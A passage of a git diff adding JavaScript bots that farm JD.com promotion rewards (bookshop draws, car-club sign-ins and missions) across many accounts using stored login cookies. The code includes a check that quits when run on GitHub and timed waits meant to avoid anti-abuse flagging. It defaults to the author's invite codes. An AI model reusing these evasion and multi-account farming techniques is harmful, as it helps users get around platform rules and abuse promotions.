data.data.addScore + } else { + console.log(`任务完成失败,错误信息:${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +// 抽奖 +function draw() { + let body = `activityId=${ACT_ID}&pin=${encodeURIComponent($.token)}&actorUuid=${$.actorUuid}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/startDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data && safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + if (data.data.name) { + console.log(`抽奖成功,获得奖品:${data.data.name}`) + message += `抽奖成功,获得奖品:${data.data.name}\n` + } else { + console.log(`抽奖成功,获得空气`) + message += `抽奖成功,获得空气` + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获得图书 +function getAllBook() { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/getAllBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + + const book = data.data.bookConfigList[0] + let num = Math.trunc(data.data.haveScore / book.buyBookScore) + console.log(`拥有${data.data.haveScore}积分,可购买${num}本`) + if (num > 0) { + await buyBook(book.uuid, num) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 购买图书 +function buyBook(bookUuid, num) { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}&bookUuid=${bookUuid}&buyNum=${num}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/buyBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`购买【${data.data.BookIncome.bookName}】成功`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getMyBook() { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}&type1=1&type2=1&type3=1&type=1` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/getMyBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + for (let book of data.data.myBookList) { + if (book.isPutOn !== 1 && book.inventory > 0) { + console.log(`去上架【${book.bookName}】`) + await upBook(book.bookUuid) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function upBook(bookUuid) { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}&bookUuid=${bookUuid}&isPutOn=1&position=1` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/upBook', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`上架成功`) + } else { + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function chargeGold() { + let body = `activityId=${ACT_ID}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.token)}` + return new Promise(resolve => { + $.post(taskPostUrl('dingzhi/book/develop/chargeGold', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.result && data.data) { + console.log(`金币收获成功,获得${data.data.chargeGold}`) + } else { + console.log(data.errorMessage) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if ($.score) { + message += `本次运行获得积分${$.score}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function jdUrl(functionId, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${functionId}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } +} + +function taskUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} IsvToken=${$.isvToken};` + } + } +} + +function taskPostUrl(function_id, body) { + return { + url: `https://lzdz-isv.isvjcloud.com/${function_id}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://lzdz-isv.isvjcloud.com', + 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, + 'Cookie': `${cookie} isvToken=${$.isvToken};` + } + } +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = null //await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + //自定义助力码 + if (process.env.BOOKSHOP_SHARECODES) { + if (process.env.BOOKSHOP_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.BOOKSHOP_SHARECODES.split('\n'); + } else { + shareCodes = process.env.BOOKSHOP_SHARECODES.split('&'); + } + } + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_car.js b/jd_car.js new file mode 100644 index 0000000000..ad805b11bb --- /dev/null +++ b/jd_car.js @@ -0,0 +1,303 @@ +/* +京东汽车,签到满500赛点可兑换500京豆,一天运行一次即可 +长期活动 +活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 +更新地址:jd_car.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东汽车 +10 7 * * * jd_car.js, tag=京东汽车, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_car.js, tag=京东汽车 + +===============Surge================= +京东汽车 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_car.js + +============小火箭========= +京东汽车 = type=cron,script-path=jd_car.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东汽车'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://car-member.jd.com/api/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdCar(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCar() { + await check() + await sign() + await $.wait(1000) + await mission() + await $.wait(1000) + await getPoint() +} + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function check() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/exchange/bean/check'), (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + message += `签到失败,${data.error.msg}\n` + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`兑换结果:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function sign() { + return new Promise(resolve => { + $.post(taskUrl('v1/user/sign'), (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + message += `签到失败,${data.error.msg}\n` + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log(`签到成功,获得${data.data.point},已签到${data.data.signDays}天`) + message += `签到成功,获得${data.data.point},已签到${data.data.signDays}天\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function mission() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/mission'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + let missions = data.data.missionList + for (let i = 0; i < missions.length; ++i) { + const mission = missions[i] + if (mission['missionStatus'] === 0 && (mission['missionType'] === 1 || mission['missionType'] === 5)) { + console.log(`去做任务:${mission['missionName']}`) + await doMission(mission['missionId']) + await $.wait(1000) // 等待防黑 + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function doMission(missionId) { + return new Promise(resolve => { + $.post(taskPostUrl('v1/game/mission', {"missionId": missionId}), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log("任务领取成功") + await receiveMission(missionId) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveMission(missionId) { + return new Promise(resolve => { + $.post(taskPostUrl('v1/user/mission/receive', {"missionId": missionId}), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + console.log("任务完成成功") + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPoint() { + return new Promise(resolve => { + $.get(taskUrl('v1/user/point'), async (err, resp, data) => { + try { + if (err) { + data = JSON.parse(resp.body) + console.log(`${data.error.msg}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.status) { + if (data.data.remainPoint >= data.data.oncePoint) { + console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换`) + message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},可以兑换京豆,请打开APP兑换\n` + }else{ + console.log(`当前赛点:${data.data.remainPoint}/${data.data.oncePoint}无法兑换京豆`) + message += `当前赛点:${data.data.remainPoint}/${data.data.oncePoint},无法兑换京豆\n` + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "car-member.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + body: JSON.stringify(body), + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/json;charset=UTF-8", + "Host": "car-member.jd.com", + "activityid": "39443aee3ff74fcb806a6f755240d127", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 